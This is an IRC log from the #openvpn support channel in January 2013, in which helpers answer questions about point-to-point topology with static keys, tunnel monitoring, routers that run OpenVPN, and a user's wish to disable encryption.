20:40 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
20:41 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
20:48 -!- Devastator- is now known as Devastator
20:48 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
21:01 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Remote host closed the connection]
21:03 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:05 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
21:28 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:43 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
21:45 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 245 seconds]
21:48 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:57 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:01 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has quit [Ping timeout: 255 seconds]
22:06 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
22:07 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has joined #openvpn
22:12 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
22:12 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
22:12 -!- [fred] [fred@konfuzi.us] has quit [Remote host closed the connection]
22:17 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
22:17 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
22:20 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
22:21 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:24 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
23:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
23:08 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
23:16 -!- troy- [~troy@dcamp-bbr1.prg1.eu.tauri.ca] has joined #openvpn
23:16 < troy-> is it possible to create a point-to-point VPN with a /30 instead of /32s on each side?
23:21 <+pekster> troy-: This is what the net30 topology does. If your systems support a true PtP mode, why not use that instead?
23:23 < troy-> pekster: my endpoints are ubuntu servers configured based on the http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html tutorial
23:23 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
23:23 < troy-> how would i know whether i can support 'true PtP mode'?
23:23 <+pekster> Linux does (basically it's just Windows that can't)
23:24 < troy-> gotcha - where might i read how to make the necessary changes?
23:24 < troy-> (i prefer PSK over certificates)
23:24 <+pekster> Why? You loose perfect forward secrecy, and if your keys are ever compromised all the past encrypted sessions can be decrypted with the key
23:25 < troy-> i have a lot of tunnels :P
23:25 < troy-> so i guess my answer is simplicity of installation
23:26 <+pekster> I can't say I agree, but as long as you understand the security advantages of a TLS/DH key exchagne and don't want it, that's fine
23:27 < troy-> all the application traffic is encrypted anyway
23:28 < troy-> can you suggest where i might start reading up on the required changes?
23:29 < ngharo> !topology
23:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
23:31 < troy-> ngharo: so on the server side i just add directive "topology net30"?
23:32 < ngharo> net30 is the default
23:32 <+pekster> On both sides, since you can't push directives in p2p modes
23:32 < troy-> if that were the case i wouldnt have a /32 mask
23:32 < troy-> pekster: thanks
23:33 <+pekster> I'm not actually sure you can use topology net30 with --secret, but I'm looking into that now. I don't see what you're trying to do, really
23:34 <+pekster> Apparently you can (I suppose to support Windows clients)
23:34 < ngharo> troy-: you'll see your tun interface is configured with inet addr and p-t-p IP, these fall inside the /30 your client is assigned
23:36 < ngharo> (assuming youre currently not specifying topology)
23:36 < troy-> ngharo: i updated the config and restarted the tunnel however ifconfig still shows a mask of .255
23:37 < troy-> i'm just trying to segment my network so that i dont have to advertise /32s
23:37 <+pekster> Well, that's only a limitation of Windows ngharo. I can do 'ifconfig 10.1.2.3 192.168.7.8' just fine if using the p2p topology, as an overly-insane example
23:38 < troy-> pekster: are there additional changes i would have to make to the static key howto that i perhaps dont recognize?
23:38 < troy-> (aside from adding that line to each endpoint and restarting)
23:38 <+pekster> troy-: What are you trying to "fix"? I think Linux distros might use PtP anyway (the net30 is really just a hack to make p2p topology "work" under Windows)
23:40 < ngharo> it kinda of sounds like he may want topology subnet with a /30 ip-pool?
23:40 < ngharo> but only two hosts total on the vpn? i dunno
23:40 <+pekster> He can't *have* an "ip-pool" in p2p mode (he's using --secret, not X509)
23:41 < ngharo> oh, i didnt think static key affected any options
23:41 < ngharo> ignore me :)
23:44 <+pekster> troy-: Yea, I just tested it. net30 under non-Windows just uses PtP anyway, since it's just an emulation trick to make Windows work
23:44 <+pekster> troy-: So, let's get back to why you want this?
23:45 <+pekster> I really have no clue what you're trying to fix, because nothing is broken with a p2p setup
23:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
23:49 < troy-> pekster: i'm going to take this back to the drawing board -- thanks for your help
23:50 <+pekster> troy-: Yea. If you're doing BGP/OSPF or something and want larger routes, you're free to supernet/subnet as you desire, as with any traditional network. But p2p is "just 2 IP addresses", and even the notion of an IP address is just a virutal way to identify your peer
23:51 <+pekster> Technically, you can do something this stupid (PS: demo purposes only, "don't try this at home", etc) https://pastee.org/g65xx
23:52 < ngharo> what the hell pekster lol
23:52 <+pekster> Hey, it was just an example of what you "can" do (and very much should *not* do) ;)
23:53 < ngharo> pekster: are there advantages of using p2p over subnet?
23:53 < troy-> oh my this is interesting :P
23:53 <+pekster> For multi-client (aka server) mode? No, not at all
23:54 < ngharo> why isnt subnet default?  for static key configs?
23:54 <+pekster> 'topology p2p' is used when you're doing just a p2p use (such as troy- has configured) or when you need to support OpenVPN 2.0.9 and don't need Windows support (I did a roll-out like that a while back)
23:54 <+pekster> Yea, I think so ngharo. IIRC there's a note in the manpage that it'll become the default
23:54 < ngharo> gotcha
23:55 <+pekster> Our server was 2.1 or 2.2, but the embedded device we were using only supported 2.0.9 or something. It was far easier to use p2p topology (all Linux-based platforms) than get a newer build working with the buildsystem
23:55 <+pekster> Dunno, that was last job
23:56 <+pekster> Oh, btw, assuming I didn't screw up those configs, they're fully usable (drop in static keys and you're set!) and it'll even route across all 4 sytems :D
23:56 <+pekster> http://pekster.sdf.org/misc/crazy-ovpn-p2p.png
23:57 < troy-> i didnt know you could buy yellow paper anymore
23:57 <+pekster> I think that was after around 23 hours of no sleep and half a bottle of wine? Maybe more? ;)
23:58 < ngharo> :]
23:58 < troy-> pekster: is there an easy way to monitor tunnel status for p2p?
23:58 <+pekster> Monitor? As in, if it get disconnected? --up and --down should let you hook into that if you need
23:59 <+pekster> That's available for all modes/topologies
--- Day changed Sat Jan 05 2013
00:00 < troy-> that will tell me whether the tunnel is up?
00:00 < sw0rdfish> can someone hack into my openvpn?
00:00 <+pekster> It will with the --ping/--ping-exit (or --ping-restart) options
00:01 <+pekster> Oh, that's server mode only though
00:01 <+pekster> So, no, not really, without pinging your peer or something
00:01 < troy-> gotcha :/
00:01 < troy-> i have no way to monitor because my network is fully meshed
00:01 <+pekster> If you used X509 mode you could do what you want ;)
00:01 < troy-> *sigh*
00:01 < troy-> may have to
00:02 <+pekster> (that has a TLS control channel where --ping* options or the --keepalive helper directive will detect the presenese of the remote peer)
00:02 < ngharo> what bout querying the management interface
00:03 <+pekster> The problem is if "no" traffic is being sent over a p2p, static-key setup, you can't know if the connection was "dropped" or if it's just silent
00:03 <+pekster> It's like asking me to know if google is up when I'm not sending any traffic there
00:03 < ngharo> ah interesting
00:03 < ngharo> i never played with static key setups
00:03 <+pekster> If *I* can't access google, that doesn't mean they're down, it just means I can't reach it. If the whole channel can't, we might assume google has some issue
00:03 < ngharo> i guess thats why i've heard you say it's better when dealing with dpi firewalls
00:04 <+pekster> Same issue: is the VPN down on the peer, or is my ISP blocking the traffic? We don't know
00:05 <+pekster> sw0rdfish: In theory? Yes. In practice, even a skilled attacker (NSA, etc) would be hard-pressed to do it (they'd probably just sneak into your house and get your keys/passwords while you're at work anyway)
00:06 <+pekster> Ask a more specific question, and get a more specific answer ;)
00:06 < ngharo> !shotgun
00:06 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
00:06 < ngharo> love that
00:06 <+pekster> Also on point: https://xkcd.com/538/
00:06 <@vpnHelper> Title: xkcd: Security (at xkcd.com)
00:07 < ngharo> haha
00:10 < sw0rdfish> pekster, well... its just that when I opened paltalk right now on my laptop, I found another nickname listed there.... it lists all the nicknames with which you have logged on to paltalk at least once
00:10 < sw0rdfish> and I only use one nickname.... and when I saw the other I was like wtffff
00:10 < sw0rdfish> so I dunno.
00:11 <+pekster> I have no clue what "paltalk" is
00:12 <+pekster> OpenVPN, configured, set up, managed, and where all users holding private keys, are operated correctly, is a very, VERY secure system. Weakness at any of those points can reduce the security
00:16 <+pekster> ngharo: Another neat trick with p2p setups (either OpenVPN, or even a crossover Ethernet wire between 2 PCs) is to define the same address on each system, so long as the peer is different. ie: 10.0.0.1 is always "this" system, and 10.0.0.2 is "the other" system ;)
00:17 < ngharo> 0_o
00:17 <+pekster> More for the "don't do that at home" tricks, but it's fun to do with someone watching over your shoulder as you rsync files across 2 PCs with a cat5e and gigE cable between them :D
00:18 < ngharo> i've done crossover for transfering data but i dont get the using same IP part
00:19 < ngharo> how would the other end know to respond on .2?
00:19 <+pekster> Because it's a p2p link ;)
00:20 < ngharo> was this discovery the result of another late night binge? ;)
00:20 <+pekster> No, that trick I knew. I don't usually set up ovpn configs to glue them together unless I'm a bit tipsy ;)
00:20 < ngharo> haha
00:21 <+pekster> Do it on a cross over cable? Sure, it's a fun party trick. Set up a virtual link of 4 systems with complete routing doing it? Now you're just crazy
00:23 < ngharo> virtual daisy chaining
00:23 <+pekster> Yea, basically. It's just a virtual set of a bunch of crossover cables
00:24 < ngharo> goo Devastator
00:24 < ngharo> oops
00:25 < ngharo> good times :) i got a flight to catch in the AM... night all
00:36 -!- HyperGlide [~HyperGlid@182.151.60.13] has joined #openvpn
00:53 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Read error: Connection reset by peer]
00:53 -!- m0sphere` [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
01:03 -!- HyperGlide [~HyperGlid@182.151.60.13] has quit [Remote host closed the connection]
01:55 -!- brute11k [~brute11k@89.249.235.187] has joined #openvpn
02:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
03:33 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Ping timeout: 248 seconds]
03:39 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
04:17 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
04:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
04:51 -!- mode/#openvpn [+o mattock] by ChanServ
05:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:23 -!- LumberCartel [~LumberCar@96.53.47.42] has joined #openvpn
05:23 -!- LumberCartel [~LumberCar@96.53.47.42] has left #openvpn []
05:35 -!- ade_b [~Ade@koln-4d0b5627.pool.mediaWays.net] has joined #openvpn
05:35 -!- ade_b [~Ade@koln-4d0b5627.pool.mediaWays.net] has quit [Changing host]
05:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:45 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
05:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:10 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Remote host closed the connection]
06:14 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
06:21 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
06:41 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Quit: Ex-Chat]
07:31 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
07:35 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 244 seconds]
07:35 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
07:46 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
07:48 -!- baobei_ [~baobei@208.111.39.160] has joined #openvpn
07:50 < baobei_> hey ho
07:51 < baobei_> a friend has a kindle fire, afaik openvpn won't work on that, so the only option is to buy a router that supports openvpn
07:51 < baobei_> is there a list of some decent routers that can handle openvpn?
07:52 <+EugeneKay> Anything that supports openwrt or one of the custom embedded firmware linux distros
07:52 < baobei_> is there a recommended minimum ram, cpu requirement
07:53 < baobei_> i once bricked a router trying to install openwrt lol
07:53 <+EugeneKay> ANd you can reflash the Fire to CM10, which definitely does oepnvpn
07:54 < baobei_> it was an xmas gift and he's not very tech savy, i dont think he'd want to mess with it
07:54 <+EugeneKay> I know precisely zero about integrated routers, sorry. I use an i3-540 with 8GB of RAM running a full server stack :-p
07:54 < baobei_> anyway thanks you've pointed me in the right direction
07:56 < baobei_> if anyone knows about openvpn on routers, would 64mb of ram be enough? and 8mb flash, thanks
08:18 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:23 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Read error: No route to host]
08:23 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
08:38 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit []
08:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
08:46 -!- baobei_ [~baobei@208.111.39.160] has quit [Ping timeout: 245 seconds]
08:47 -!- Porkepix [~Porkepix@83.159.5.235] has quit [Read error: Operation timed out]
08:50 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has joined #openvpn
08:56 -!- baobei_ [~baobei@58.37.20.245] has joined #openvpn
09:08 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
10:01 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
10:19 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has joined #openvpn
10:21 -!- master_of_master [~master_of@p57B52EA2.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
10:22 -!- hg_5_ [~chatzilla@ip-37-209-133-44.free.aero2.net.pl] has joined #openvpn
10:23 -!- master_of_master [~master_of@p57B55186.dip.t-dialin.net] has joined #openvpn
10:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:35 -!- hg_5_ [~chatzilla@ip-37-209-133-44.free.aero2.net.pl] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
10:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:36 < hg_5> hello, i have problem when im trying to connect to my openvpn server, i get this error in openvpngui  Error: cannot locate HMAC in incoming packet from
10:36 < hg_5>  Error: cannot locate HMAC in incoming packet from xxx.xxx.xxx.xxx:1194
10:37 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:39 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has joined #openvpn
10:45 -!- baobei_ [~baobei@58.37.20.245] has quit [Quit: Leaving]
10:58 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
11:42 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:42 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:42 -!- mode/#openvpn [+o krzee] by ChanServ
12:03 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
12:14 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
12:18 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
12:45 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Ping timeout: 276 seconds]
12:53 -!- piezo [~piezo@pdpc/supporter/active/piezo] has left #openvpn []
12:55 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
13:13 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has quit [Quit: Computer has gone to sleep.]
13:23 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
13:23 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
13:39 -!- brute11k [~brute11k@89.249.235.187] has quit [Quit: Leaving.]
13:44 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
13:57 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has joined #openvpn
13:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
14:12 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
14:18 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has joined #openvpn
14:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:28 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection timed out]
14:37 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
14:39 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
14:56 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Operation timed out]
15:04 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
15:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:08 -!- mode/#openvpn [+v s7r] by ChanServ
15:43 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Read error: Connection reset by peer]
16:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 272 seconds]
16:12 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
16:15 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:17 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
16:18 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
16:19 -!- MeanderingCode [~Meanderin@71-213-184-243.albq.qwest.net] has quit [Ping timeout: 276 seconds]
16:22 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 240 seconds]
16:24 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
16:45 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
16:51 -!- u0m3 [~Radu@92.80.90.7] has joined #openvpn
17:02 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
17:03 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
17:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:43 -!- JackWinter2 [~jack@vodsl-4655.vo.lu] has joined #openvpn
17:44 -!- JackWinter2 [~jack@vodsl-4655.vo.lu] has quit [Client Quit]
17:55 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
18:06 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
18:59 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
19:11 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
19:18 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
19:33 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:51 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Quit: emmanuelux]
19:53 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
20:30 -!- u0m3 [~Radu@92.80.90.7] has quit [Quit: Leaving]
20:37 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
20:52 -!- sw0rdfish- [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
20:55 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has joined #openvpn
20:59 -!- sw0rdfish- is now known as sw0rdfish
21:00 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
21:00 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
21:25 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has joined #openvpn
21:53 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
21:55 -!- m0sphere` [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Ping timeout: 240 seconds]
22:34 -!- i7c [~i7c@212.47.190.111] has left #openvpn ["WeeChat 0.3.9.2"]
23:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:05 -!- mode/#openvpn [+o krzee] by ChanServ
23:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
--- Day changed Sun Jan 06 2013
00:07 -!- kyrix_ [~ashley@71-212-67-12.tukw.qwest.net] has joined #openvpn
00:09 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Ping timeout: 255 seconds]
00:20 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
00:20 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
00:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:20 -!- mode/#openvpn [+o krzee] by ChanServ
00:55 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
01:15 -!- soulcito [~soulse@190.222.252.9] has joined #openvpn
01:15 < soulcito> is possible to configure a openvpn client without encryption?
01:15 <@krzee> !noenc
01:16 <@vpnHelper> "noenc" is (#1) if you're going to disable encryption, you might as well build a GRE tunnel or (#2) but you would use cipher none
01:16 <@krzee> you really dont want openvpn involved if you dont want encryption
01:16 <+pekster> Wow, an 11 second RTO :P
01:16 <@krzee> it will just get in the way =]
01:16 <@krzee> lol
01:16 < soulcito> krzee just need to get a tunnel
01:17 < soulcito> do you know where in ubuntu are the openvpn profiles stored?
01:17 < soulcito> cant find them anywhere
01:17 <@krzee> ya consider gre tunnels, its the tunnel stuff without the encryption
01:17 < soulcito> ive been just configuring the network manager gui
01:17 <@krzee> nooooo
01:17 <@krzee> !netman
01:17 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
01:17 <@krzee> !ubuntu
01:17 <@vpnHelper> "ubuntu" is dont use network manager!
01:17 <+pekster> 'man ip' or 'ip tunnel help' for basisc tunneling
01:18 < Wintereise> krzee smells
01:18 < soulcito> cant change to gre
01:18 < Wintereise> =)
01:18 < Wintereise> Sup
01:18 < soulcito> i need to connect a openvpn server
01:18 < soulcito> no other option
01:18 < soulcito> its a service
01:18 <@krzee> a vpn service without encryption?
01:18 <@krzee> your config MUST match theirs
01:18 < Wintereise> GRE is enabled by default on most linux configs, btw.
01:18 <@krzee> you cant opt to disable encryption if they arent doing the same
01:19 < soulcito> krzee: just need a exit point in US
01:19 <@krzee> you should have been given a config by them, drop that in /etc/openvpn with .conf
01:19 <@krzee> soulcito, that does not change what i said
01:19 <@krzee> if your provider uses encryption, you must...
01:19 < soulcito> the provider let me disable it
01:19 <@krzee> !provider
01:19 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
01:20 <@krzee> they should have given you your config file
01:20 < soulcito> its a webpage with just some option :)
01:20 <@krzee> you will not be able to guess all their config
01:20 < soulcito> i want to make it the lighter possible because my router is dying because of the encryption load
01:20 <@krzee> your router will be running openvpn?
01:21 < soulcito> no
01:21 < soulcito> its a ubuntu behind
01:21 <@krzee> then it wont know about the encryption
01:21 < soulcito> cant red the encryption but it could be trying to inspect it
01:21 <@krzee> unless you're doing deep packet inspection on your router
01:21 < soulcito> it consumes cpu
01:21 < soulcito> inspect/track
01:21 <@krzee> thats dumb, why would it be doing that?
01:22 < Wintereise> nf_conntrack is disable-able even on most mips kernels, if you didn't know.
01:22 < soulcito> well if its udp it need to identify its a connection and let the return packet in
01:22 <@krzee> ^ that wouldnt be special for encrypted packets
01:22 < Wintereise> And what krzee said, your router shouldn't even know what the packet is
01:22 <@krzee> what hes saying would be some deep packet inspection
01:22 < Wintereise> Its job is to send them and receive them, encryption doesn't matter
01:22 < soulcito> maybe not deep packet inspection
01:22 <@krzee> in which case, lol at you for not disabling that on your own vpn
01:22 < Wintereise> krzee, yeah, does sound like DPI
01:23 < soulcito> but at least need to track the connection to let the return packet in
01:23 <@krzee> you mean nat tracking, once again it wont know if its encrypted payload or not
01:23 <@krzee> its just data
01:23 <+pekster> soulcito: Unless you're running OpenVPN on your router, a residential router isn't going to be suffering a higher load to support a client behind it using openvpn with encryption verses without it
01:23 < Wintereise> Sounds like something else is wrong, tbqh
01:23 <+pekster> I can assure you that you are not running a DPI/IDS system without knowing what that is, so I'm pretty sure you don't have one ;)
01:24 < soulcito> well im trying to discard, it could be other option enabled in the ip packet that make my router die
01:24 < soulcito> but in fact it dies
01:24 <@krzee> pekster, ++
01:24 < soulcito> oh come on
01:24 < soulcito> i know some stuff
01:24 < soulcito> i am network engineer -_-
01:24 <@krzee> oh boy
01:24  * krzee runs
01:24 < Wintereise> lol
01:24 < Wintereise> now now
01:25 < soulcito> lol
01:25 < Wintereise> What kind of router is this?
01:25 <+pekster> Yet you don't know if your router has DPI features? What OSI layer do you suspect your DPI is looking at? L4? L7? Ugh
01:25 < Wintereise> I really suspect any router that has DPI features would be dying from simple vpn packets too
01:25 < Wintereise> So lol
01:25 < soulcito> i was just doing a simple question... dont need to take to degenerate it O_O
01:25 <+pekster> tl;dr: your router doesn't give a crap if you have an unencrypted VPN, encrypted VPN, youtube video, or IRC session
01:26 <@krzee> your answer was given in the first reaponse
01:26 <+pekster> soulcito: If you control both the server and the client and are able to modify encryption options at *BOTH* ends of your VPN peering, look at the --cipher and --alg options in the manpage
01:26 <@krzee> we just felt like you could benefit from additional info
01:26 < soulcito> yeah thank you
01:27 <+pekster> Be aware that all the data running across the link is fully visible to anyone on the wire (on the router path over the Internet, and possibly anyone in their L2 (Ethernet) network as well)
01:27 < soulcito> but you were trying to say I dont know what i am talking about
01:27 <@krzee> right^, and if you dont control the server you shouldnt be configuring it yourself.  and you should never configure using network manager
01:27 <@krzee> if you wish to import a working config to network manager to use, thats fine
01:27 <+pekster> When you were talking about your router dying/crashing/locking-up when you use an encyprted VPN, that sounds like BS. And I do networking as a profession
01:27 <@krzee> soulcito, well you did demonstrate that while we talked about your router
01:28 <@krzee> and as a network engineer you get a quicker lashing for it l[
01:28 <@krzee> ;]
01:28 < soulcito> well i am just checking why it is dying
01:28 < soulcito> not sure what it fails to check
01:28 <+pekster> From a single UDP stream?
01:28 < soulcito> because I dont have the option to troubleshoot in it
01:28 < soulcito> i think it doesnt have
01:28 <@krzee> if theres ANY single udp stream killing it, i would throw it away immediately
01:28 <+pekster> Spend $30 on a router that can run OpenWRT and manage your own network ;)
01:29 <@krzee> ^^^
01:29 < soulcito> well every router has its limitations depending on the type of traffic
01:29 < soulcito> i have seen a lot of cases
01:29 <@krzee> lol
01:29 <@krzee> seen a lot of them die from a single simple udp stream?
01:29 <@krzee> cause i would call that a fatal bug
